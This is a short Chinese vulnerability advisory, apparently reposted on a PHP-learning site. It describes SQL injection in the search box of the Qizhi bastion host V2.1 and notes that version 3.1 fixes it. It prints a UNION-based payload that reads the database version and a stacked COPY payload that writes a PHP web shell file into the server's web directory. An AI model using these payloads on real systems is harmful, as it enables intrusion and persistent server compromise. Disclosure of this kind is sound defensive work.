网站地图    收藏   

主页 > 后端 > 网站安全 >

奇智堡垒机V2.1存在搜索框注入及修复 - 网站安全

来源:自学PHP网    时间:2015-04-17 14:46 作者: 阅读:

[导读] 奇智堡垒机存在搜索框注入,通过1%#39;)/**/and/**/1=2/**/union/**/select/**/null,version(),null,null,null,null,null,null1%#39;);copy/**/qmsectexts(shell)/**/to/**/#39;/var/www/shterm/client/sec......

奇智堡垒机存在搜索框注入,通过1%')/**/and/**/1=2/**/union/**/select/**/null,version(),null,null,null,null,null,null—

 \

1%');copy/**/qmsectexts(shell)/**/to/**/'/var/www/shterm/client/secqm.php'—进行写文件了,写入测试文件后,我们发现文件成功写入。

 

\
漏洞证明:

 \

\

 
修复方案:厂商已经升级到3.1版本,已经无此漏洞。建议部署该堡垒机的公司升级到最新版本。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论